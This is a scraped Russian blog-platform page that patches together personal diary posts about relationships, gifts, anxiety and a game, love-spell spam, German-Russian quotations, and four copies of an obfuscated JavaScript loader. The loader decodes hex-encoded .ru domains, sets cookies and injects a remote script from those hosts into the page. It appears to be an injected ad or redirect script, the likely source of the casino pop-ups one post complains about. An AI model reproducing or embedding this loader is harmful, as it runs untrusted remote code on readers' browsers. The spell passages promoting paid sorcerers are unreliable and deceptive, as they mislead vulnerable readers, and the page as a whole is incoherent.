повторяемость и оперативность магии воздействует как на сроки свершения, так и на силу колдовских заклинаний, и на вероятность достижения успеха от проделанной магом процедуры. Приворот - вызов порывов одного человека к другому. При выполнении приворота необходимо (правильнее, важно) какое-либо разговор с любимым, подверженный воздействию. Чем сильнее приворот, тем сильнее интерес.

Разделяют сексуальную привязку и приворот двух сердец. На этапе энергическом приворот выглядит как канал, так или иначе узы. Есть неограниченное множество вариаций приворотов. Привязка иное имя приворота. парень начинает по ней скучать, любовный приворот пробуждает томление, воспоминания, сексуальная привязка символизируется в появлении животного влечения к клиенту.

результаты способны остаться не только лишь на молодом человеке, выполнившим обряд, но к тому же на друзьях и любящих. Конечно, правильней обратиться к услуге заклинателя, к примеру, это любовный приворот девушки по фото, и не подвергать риску самому. Применил такой приворот девушки и остался очень доволен результатом. Люди, которые решаются выполнить привороты по не знанию в домащних условиях, нисколько не берут во внимание, какими ужасным может стать результат.

Обращаю ваше внимание на то, что самостоятельный приворот – это очень опасно, поскольку Вам не дадут гарантии выполнения результата, что среднестатистическому человеку не осуществимо сфокусировать энергию, появившимися в процессе ритуала. Ворожеи на протяжении всей жизни совершенствуются этому, в большинстве своем приобретая способности, передаваемые на свитках от отца к сыну, они способны магию контролировать, сфокусировать ее в нужное дело и владеют информацией, как важно оградиться от потока энергетических сил. Непосредственно перед выбором целителя сильно проанализируйте и сопоставте, что желаете приобрести от выполнения ритуала.

Первый день зимы, наступает новый год, я заранее хочу воплощать свои идеи в подарки, чтоб не заниматься этим как обычно в последние 2 дня. Конечно не исключаю, что идеи подарков я все еще смогу перередактировать, главное чтоб все пошло не как обычно через жопу

Маме я хочу подарить принадлежности по дому, в красиво упакованной коробочке

Папе я хочу подарить герб нашей семьи, осталось его придумать, нарисовать и подобрать рамку

Бабушке Лиде я хочу подарить либо рисунок, либо что-то в виде новогодней открытки "Бабушка №1" скрапбукинга

Улыбаться только от того, что у очень хорошего человека сегодня день рождения и у него все хорошо))

В продолжение о том парне.

Итог: он удалил, я кинула в чс. (Уже достала от туда))

Просто мы начали сраться. И каждый бы хотел оставить свое последнее слово за собой.Ну я написала последнее и кинула :DDDDDD

А вобще как все было. Он днем мне написал "привет", я ответила, он прочитал и вышел. Потом меня вырубило спать до вечера. Вк зашла, а он так ничего и не написал, потом я через время написала ему мол збс пообщались, на что он мне выдает мол это я ему ничего не написала. Это я еще и молчу.Сам прочитал и все.Не, ну конечно же можно было поинтресоваться его делами, но мне не интересно. Отправила вобщем его к бабе, пусть с ней общается и нах пишет мне, своя же есть.Ну и после пошло поехало. Написал мол давай пока с таким отношением. Я посмеялась. Сказала ему тоже "пока пока". И в приниципе на этом могло быть все, но я не удержалась и назвала его "мудилой" :D Ну вот так и есть же. Ну и там ответочка пошла, а потом все.

п.с.:Сразу такой дерзкий стал, как девушку нашел то.)

Harry Potte r animated locations
[x]

Но и нечто приятное для меня тоже произошло. Еще в прошлые разы в зале я видела много своих постоянных покупателей. Но они не все со мной здоровались. Сегодня уже сблизка я увидела одну из любимых покупательниц, в частности я обожаю её очень веселого мужа, который напоминает мне Сережу, но уже такого постарше. Так вот, очень было приятно как она мило мне улыбнулась, и вообще.
Так как вышла я не на своей остановке, пришлось зайти в торговый центр. Не зря же я проежала свою остановку. Купила там сигарет, что очень логично. Так касирша мне там тоже очень начала улыбаться, спрашивать как там мой магазин, что она часто бывает у нас. Это вообще было даже слишком приятно, но по моему я не очень так дружелюбно ответила, потому что в конце её улыбка куда-то исчезла. Может это не из-за меня.
К чему я вела то. Приятно, очень приятно, когда люди приходят в магазин и идут ко мне на кассу, потому что им приятно со мной общаться, и даже вне работы. Вот из-за таких моментов я все еще оттуда не уволилась.
Люблю нравиться людям, нушоужтам говорить)

мне подарили сковородку.

просто так. без повода, без предупреждения, просто огорошили меня этим подарком.

какое же счастье, Господи.

Я сильнее всего этого. Я сильнее всего этого гребаного неспрведливого мира.

И самое главное- я сильнее себя самой.

Как-то неоднозначно потихоньку выплываем из этой лажи, рассказывать о которой нет желания. Всё могло быть хуже/лучше, нужное подчеркнуть. Съездила на свои штатные 4 пары и морально не готова завтра вставать в 6. Переписываю упражнения на грамматические конструкции и думаю только об одном - начерта добавлять вообще в свой плейлист песни, которые связаны с людьми, давшими из твоей жизни по сьёбам. Зачем шазамить, искать, добавлять гребаные песни с отпуска, чтобы потом тоскливо умирать под них? И включать их, включать постоянно, чтоб всё это перед глазами проносилось. Это как шрамы себе брать и вскрывать. Потом давать им затянуться, и опять вскрывать. Чисто мазохистские такие развлечения.

Сегодня случилось нечто странное. Я не помню вообще чтоб со мной такое случалось.
Я пропустила свою остановку. Мысли о том, подарить коечто одному человеку или не дарить, полностью заполнили мою голову. И тут я смотрю в окно, и вижу новый дом, который построили на моей остановке, и закрывающиеся двери маршрутки. Это было тааак странно. Я на столько увлеклась, что вообще ничего не заметила.
Еще недавно я забыла выключить утюжок и он проработал включенным несколько часов, пока мама не унюхала не приятный горелый запах.
Также, я всегда боюсь, что не закрыла двери. У меня есть малюсенький коридорчик с квартирой соседей и у нас общие двери тоже закрываются на ключ. И когда я дохожу к этой двери, к которой идти буквально 2 метра, я задаюсь вопросом, а закрыла ли я квартиру ? Я просто не помню. Когда выключаю комфорку на плите я всегда по десять раз проверяю закрылась ли она или же может не до конца и пропускает газ.
И я всегда ухожу из дома с чувством беспокойства, пока не дойду к остановке, потом я начинаю переживать что сейчас я буду ехать в маршрутке битком забитой и мне трудно будет выйти. Потом в самой маршрутке я всю дорогу думаю какими удобными путями мне выйти.
ДА ЧТО СО МНОЙ ТАКОЕ ТО. Это началось довольно таки недавно, может месяца два-три назад. Или я начала это замечать только тогда… Не суть, но блин, это меня тревожит однозначно.

Не хочу показаться шлюшковатой легкомысленной девицей, но я уже путаюсь в этих мальчиках. В старом блоге Он был Холденом (одна из ключевых ролей в Его карьере). Предлагаю вернуть традицию :) Мальчика-лектора я бы назвала Малевичем, но палевно. Пусть будет Искусствовед. И пусть на нем череда актеров в моей жизни прекратится, аминь! И да, он действительно мальчик - лет на 6, наверное, старше меня…

Хах, пора действительно вылезать из подполья и начинать хоть как-то называть своих знакомых. В каком-то блоге видела, как девушка называла своих друзей именами героев греческой мифологии. Причем с умом так, исходя из их особенностей и сходств с ними. У меня на подобное фантазии не хватит, но пытаться разнообразить эти местоимения я попытаюсь.

Котятки простите, но я потеряла ваши адреса. Точнее они были сохранены в телефоне, а его украли (а в сообщения здесь войти не могу так как я в Польше, а здесь у меня только планшет, и как вам всем известно то в мобильной версии нет такой функции как сообщения.

На днях я посмотрела фильм "The Untouchables", он кстати очень славный, всем советую. Я считаю, что этот фильм отличный пример того, как правильно сочетать веселые и грустные моменты. Пропорция тех и других была настолько идеальна, что порой чересчур эмоциональную меня не швыряло из настроения в настроение, поэтому, видимо, я получила такое удовольстве при просмотре и расслабилась. На неожиданно для меня хорошем конце меня все-таки прорвало. Не знаю, стоит ли приписать эту заслугу гению режиссера, и поток слез в конце очень рассабляющего фильма был ожидаем, или это мне что-то в голову ударило. Опять.

Очень похожие эмоции у меня были в течение этих двух месяцев. Совершенно не отражая время, я вдруг поняла как много я отдавала себя и как от этого устала. Что еще более странно, что никогда я не была так счастлива что ли? Бесконечное количество заданий, свободного времени ничтожно мало, утомление и стресс все это как-то слабо вписывается в мою картину безграничного счастья. Даже к людям то ли спокойнее, то ли равнодушнее стала относиться, практически никаких крепких привязанностей, никакой сильной любви, но всеобъемлющая симпатия. Складывается впечатление, что в кои-то веки мой стакан наполовину полон.

А потом так БАЦ. Падают на голову со всеми гирляндами, мандаринами и фиолетовыми париками праздничное настроение и ненависть к немного зачерствевшей себе. Новый Год и Рождество - моя маленькая микроволновочка, чтобы прийти в себя и чувствовать больше радости от сердца, а не от мозга. Не то чтобы мне такое счастье не понравилось, просто не я это, не я.

Сидела сейчас и думала о том, как когда-нибудь, через энное количество времени, зайдем мы сюда на вью и увидем, как у нас, тех за кем мы следим взаимно или нет, но все в жизни хорошо, свадьбы, семьи, дети)))

и что-то мне эти мысли так настроение подняли :D

Просто искренне желаю здесь всем и каждому счастья))

Что не так с этим миром?

— И снизу дно, и сверху дно, кругом темно. И даже днем в твое окно, не светит Солнце. И ночью беззвездно в твоей душе.

Закончила сегодня "Белый воротничок". Грустно прощаться с тем, что дарило тебе невероятное количество самых разнообразных эмоций. Я действительно очень полюбила персонажей шоу. Нил, Питер и Моззи словно на самом деле стали частью моей жизни. Очень, очень печально, что конец все-таки приходит. Я счастлива, что познакомилась с этим сериалом и всеми его героями.

Мне сейчас так плохо, меня не хочет знать собственная бабушка. Ну и славно, я тоже не хочу её знать. Так хочу к Ж.

Многие считают, как и я, впрочем, что девушка должна быть для своего парня мотивацией/музой. В серьёзных отношениях, разумеется. И в нашем случае я такого не наблюдаю.. Да, я сумела надоумить Китти вернуться к учёбе, но этого мало.. Либо он ещё совсем юн, чтобы не думать о будущем, хорошем заработке, жизни, либо я не его половинка, ради которой он будет двигаться вперёд по собственному желанию. И не завтра, сегодня. Мне больно от этой мысли. И я уже сотню раз говорила, что тоже не особо хочу работать, быть взрослой. НО НУЖНО! Мне не нужны миллиарды и прочая сопутствующая хрень. Но и на кредиты я жить не собираюсь. Для меня идеальная жизнь: исполнение всех целей, своё жильё, которое я буду просто обожать, отсутствие нужды в деньгах. И непутайте это с: "Хочу всё дорАгА и бАгАтА".

По совету одной прекрасной дамы, пробую блог-платформу на viewy. Действительно, очень схожи с Tumblr и очень надеюсь, что на период блокировки, вьюи мне полностью заменит тамблер. Предстоит придумать тему и оформление блогу, самое интересное только начинается! :)

Блин. Все по кругу. И мне здесь не очень нравится. И у меня по ходу гайморит, или что-то такое и болит пол лица, и голова постоянно болит. Не понимаю он будет со мной говорить или нет. А то он как обычно игнорит.

Зачем тебе личная жизнь, если ты и с обычной не знаешь, что делать?

Завтра последний день конференции, наконец-то. Скучновато всё это, если честно, особенно учитывая то, что мне не интересна тема социологии, абсолютно.

Вчера провели там весь день. С утра с девочками постояли на входе - мило улыбались, здоровались и кого надо провожали до зала заседания. Но делать это приходилось не так часто, поэтому по большей части просто маялись. А как только брали в руки телефон, чтобы сфотаться, обязательно кто-нибудь приходил и надо было бежать встречать. Мы так очень долго не могли сделать селфи :D



После 11 спустились к залу, где было еще много наших. Стояли в холле, кружили вокруг накрытых столов перед кофе-паузой, ныли, когда же у них там закончится пленарка и можно будет наброситься на еду. Но таки не выдержали и стянем то огурчик, то сырок, то еще чего, а потом в открытую принялись жрать. Организаторши поняли, что все попытки оттащить нас от туда бессмысленны, и просто забили :D Вот что мне больше всего понравилось в этих конференциях - это много вкусняшек, и совершенно бесплатно. Всего было три таких кофе-пауз, на последней из которых я вусмерть объелась. Это все из-за очень уж заботливой организаторши со своими "кушай-кушай, не каждый день конференции бывают! Вот бутербродики, конфетки.. Чаек еще наливай! Нет, я сама налью, давай стаканчик.." И как тут устоишь? Тем-более, мы же работали, устали и все такое, ахах.



Благо, на этот раз наша дама осталась максимально довольной и даже ни разу на нас (читай - меня) не наорала. После закрытия дня, когда я подошла к ней передать списки, ее лицо аж светилось от счастья) Ну и хорошо. Отнесли с Женей оставшуюся на следующий день раздатку и ушли.

А сегодня был круглый стол и доклады. Наша группа ничего не делала, только переходили из зала в зал и слушали. На одной лекции я случайно заснула, а Женя еще и пофотался со мной в это время, вот сволочь.
Дотерпели до заключительной кофе-паузы, поели и свалили. Еще полтора часа бы не пережили)

Вот так весьма интересно у меня началась зима.)

Уже, кстати, повесила гирлянду, предварительно ею обмотавшись. И да, свитер с мишенькой! Купила его неделю назад, уже можно надевать, ура))

Старалась, несла в руках 2 кружки горячего чая, зефирку Китти..пролила кипяток себе на пальцы, больно. Чуть не расплакалась. Вся семья (папенька, мама, Китти. К счастью, брата тогда не было) начала дружно смеяться, подкалывая меня. Вот только мне было не до смеха..

Угадайте кто заболел? Да, как всегда.

Целый день тухла дома и чуть не умерла со скуки. Потом позвонил мой, примерно в 6 и предложил поехать к нему на дачу. Ну я так подумала, а че нет то? В Мск один фиг скучно. Мама разоралась, мол сиди дома или забирай собаку с собой и всё в этом духе. Но я успела свалить в нужный момент.

Сейчас мчим с моим по МКАДу, попиваю нести и жую меллер. Взяла с собой пару книг, раскрасочку и планшетик. Кто знает сколько мытам проторчим? :D

Не болейте хоть вы тоо

Привороты существуют разные, как по форме и силе, так и по необратимым результатам эксперемента. Распознать на этот день обряд вполне легко, хватит вполне ознакомления заклинания. В черных приворотах как правило есть слова о том, что избранник должен страдать, грустить, не видеть белого света. Если расчитываете приворот только всего-навсего чтение заклятий, то мы не согласны.

Если Господь Бог прогнозирует несчастье вашему союзу или имеются иные астральные препятствия, вообще ничего не реализуемо. Как правило любовь имеет срок существования. Так, приворожив одного парня, в последствии время вы познакомитесь с другим, который и является вашим будущим. Любовный приворот, при этом необычайно сильный, становится только маленьким шансом для создания чувств влюбленности, но совершенно не лекарством от всех болезней.

частота и качество магии воздействует как на сроки осуществления, так и на влияние колдовских обрядов, и на процент шанса достижения требуемого эффекта от проделанной ворожеей процедуры. Чем мощнее приворот, тем сильнее порыв. Для приворота необходимо контакт с любимым, на которого направлено магическое воздействие. Приворот это воплощение интереса одного человека к другому при помощи магических обрядов.

Распространено неограниченное множество вариаций приворотов. Привязка иное имя для приворота. На уровне энергоинформационном приворот изображается как магический портал, своего рода узы привязанности. Подразделяют приворот двух сердец и сексуальную привязку. мужчина скучает по ней, любовный приворот создает воспоминания, томление, возбуждающая привязка символизируется в образовании животного влечения к клиенту.

На этапе бедствия необходимо не биться в истерике, сделать твердые действия для достижения своей задачи, следует разработать рациональное решение. Сложности в вопросах сердечных, денежных или несчастье настигают. Решение возможно найти, в этом главное - не падать духом и найти его. В судьбоносные ситуации приворот и магия становятся крайним спасением на безоблачное будущее. На протяжении жизни каждого человека нарастает подобный этап, когда обреченность и печаль заполняют душу и существование теряет свое значение.

В большинстве своем привороты дают нам возможность разрешить промахи и улучшить свое будущее. Магия помогает быть состоятельнее и успешнее, быть кем мы хотим, направить судьбу в нужное русло, иметь рядом тех, с кем хотелось бы пройти жизнь до конца.

Создайте хорошее взаимопонимание с руководством, в семье, спасите свой брак, уберегите любовь от измен и разрушения брака, поверните фортуну на себя, будьте желанной и ненаглядной. Привороты, находящиеся на сайте, получили хорошие отзывы и помогут Вам разрешить абсолютно любые ситуации, заново обрести счастье, украсить каждый день, оживить домашние отношения.

В этой статье хотел рассмотреть, что означает приворот. Говоря терминами заклинателей и колдунов, приворот представляет собой возобновление либо завязывание контактов. Приворот это ритуал, руководит человеком на бессознательном уровне, за счет чего появляется стремление оказаться рядом с желанным мужчиной, смотря на тип ритуала, стремление заботы либо тела, или двух вместе. При этом приворотом становится направление потоков энергии.

Известно, подсознание, в случаях, если магический заклинание девушки или парня выполнен верно, станет действовать прямо на заказчика церемонии, как на объект страсти. Если воздействовать на вторую и третью чакры человеческого организма и на мышление, то явно нанесет отпечаток на его подсознании. Маг управляет энергетической силой мужчины и девушки, изучает скрытое сознание, кого привораживают на заданный момент, вновь переживает половое либидо и чувствует его за свои чувства и помыслы.

Люди, захотевшие проделать привороты по не опытности дома, нисколько не представляют, насколько страшным станет результат заклинания. Неблагоприятные последствия могут сказаться не только на одном молодом человеке, сделавшим заклинание, но и на его родственниках и близких. Мой приятель рассказал он уже испытал приворот девушки от колдуна и многим советует. Так или иначе, будет правильным обратиться к услуге колдуна, предположим, это приворот парня по фотографии, и не рисковать самому, не имея знаний об существенных ньюансах заговора.

Ворожеи и колдуны на протяжении всей жизни совершенствуются этому. Перед походом к волшебнику тщательно вычислите и сопоставте, что вы желаете от выполнения ритуала. Приворот в кустарных условиях – это рискованно, потому что Вам не дадут гарантии выполнения результата, что среднестатистическому человеку не под силу сосредоточить энергию.

У меня есть две любимых игры: серия игр Bioshock и не слишком популярная The Lord of the Rings Online (LOTRO). Так как о первой я уже рассказывала, хочу рассказать о второй. О, многие игровые задроты, которым важна лишь механика игры и накапливание опыта и титулов скажут, что эта игра им просто неинтересна. В ней не продумана система ПВП(игрок против игрока), в ней нет какой-то особенной системы накапливания титулов и всего такого. И, скажем, она условно бесплатная. А русские платить не любят.

В России в нее в последние годы играло очень мало человек, из-за чего летом, 1 июня, русские сервера от Mail.ru закрыли. Сразу скажу, что опечалена этим я была безумно из-за потери русской локализации и своего персонажа, вместе с купленными дополнениями. Но глобальные сервера все еще открыты и процветают! Отчего я, дождавшись скидок в Черную пятницу купила все дополнения за 300 рублей и начала все заново.

А теперь о самом главном достоинстве этой игры (помимо детально продуманного мира Средиземья). СЮЖЕТ.

Когда ты играешь первый раз, сюжет действительно интересен. Для тех, кто любит приключения - в самый раз. Главные герои прописаны очень хорошо. У каждого свой характер и свои достоинства, вкупе с недостатками. Создается ощущение, что ты действительно в другом мире. Если Ангмар представляется нам, как обитель зла, не хуже Мордора, то когда ты попадаешь туда - ты действительно не хочешь там надолго оставаться. В Мории если должно быть жутко и тревожно по сюжету, то так и есть. Ох, видели бы вы ее лабиринты! С тем же Варкрафтом таких ощущений нет. Слишком уж плохо там развит сюжет. Да и мир там весь какой-то ненастоящий, однотипный, что ли. Даже дополнительные миссии в LOTRO часто связаны друг с другом и с основной сюжетной линией. А мир продуман и создан настолько реалистично, что диву даешься.

Есть отдельный блок сюжета в этой игре: путешествие со Следопытами. Тут нужно отдать должное создателям - ты привязываешься к персонажам пока вы путешествуте к Рохану вместе, пытаетесь собрать свой отряд из разных концов Эриадора ради святой миссии - помочь Арагорну. Многие в пути погибали. И их было безумно жаль. А когда наши пути разошлись, я так расстроилась, что перестала играть на некоторое время. Думала, ничего подобного не будет уже. Стереть бы себе память и вновь пройти весь этот путь.

Я вернулась к этой игре. Благодаря скидкам и появлению ее в Стиме. Осталось дойти до Гондора и там, по идее, персонаж вновь встречает своих верных друзей - Следопытов.

Думаю, мало кто тут понял меня. Есть в этой игре душа. Такое сейчас редко встретишь. Может, это даже хорошо, что она не так популярна - не выкачивает деньги из фанатов. Ушла играть, короче. И да, татуха на картинке - моя. За Гондор!

Не унижайся.
Не будь дурой.
Не загружайся.
Следи за фигурой.
Не замыкайся.
Не ной.
Не кричи.
Помни, куда положила ключи.

Книги читай.
Не смотри ток-шоу.
И повторяй, что всё хорошо.
Думай о многом.
Много не пей.
Не подпускай к себе лишних людей.

Рано вставай. Спи по восемь часов.
Сядь на диету, но слезь, блин, с весов!
Слезла с весов — садись на диету.
И прекрати всё время ждать лето.

Остерегайся мрачных людей.
И не стесняйся безумных идей.
Слушай родных — не будь ты упрямой!

На выходных сходи в кино с кем-то.
Можно в кафе. Не думай о смерти.
Отправь кому-то письмо в конверте.
Не притворяйся. Поменьше трепись.

Любишь — признайся.
Не любишь — влюбись!

• Jedermann trifft eine Wahl im Leben. Ob sie richtig war, zeigt die Zeit
  Каждый человек делает выбор в своей жизни. Правильным он будет или нет – покажет время

window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21677", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

• Intuition ist das Leben!
  Интуиция – это жизнь!

window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21677", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

• Wir denken selten an das, was wir haben, aber immer an das, was uns fehlt
  Мы редко думаем о том, что имеем, но всегда о том, чего нам не хватает

window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21677", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

• Du musst die Minute lernen zu überleben, wenn es dich scheint, dass alles verloren ist
  Умей пережить именно ту минуту, когда кажется что все потеряно

window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21677", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Что это за дурацкая реклама с казино постоянно выскакивает? Ее никакой блокировщик не берет( (Пора валить с вью, и это плюс один повод.
По-моему, судьба толкает меня к нему. Тому мальчику, лектору по изо. Не-не, он не просто лектор, он нереально крут и умен. *То, какой дурой я себя чувствую, когда он открывает рот - это тема для отдельного длиннопоста* Сначала лекция, на которой я не понимала ни слова из того, что он говорил про художника и его концепции. Никто на курсе нифига не понял: все просто залипали на этого няху. А у нас, как назло, эту лекцию организовал препод - а-ля-"альфа-самец-всея-руси-и-окрестностей" - он, когда увидел, каким взглядом мы пожираем бедного парня (а на курсе 20 девок, и к нам еще с параллельных сбежались), он сразу приревновал и забрал нас к себе на пару. Получилось очень неудобно и некрасиво. Потом я узнаю, что он - Его тезка (первый шаг начать о нем постоянно думать), затем - что он из того музея, в котором я стала было работать (второй шаг в бездну). И да - лень сейчас искать этот пост, но постоянные подписчики вспомнят, как я писала, что мне дали обалденную работу, но на нее надо идти мимо места, где Он женился. Может, это был знак, что где убыло - прибудет? Да, дурочке-анечке давно пора перестать верить в знаки.
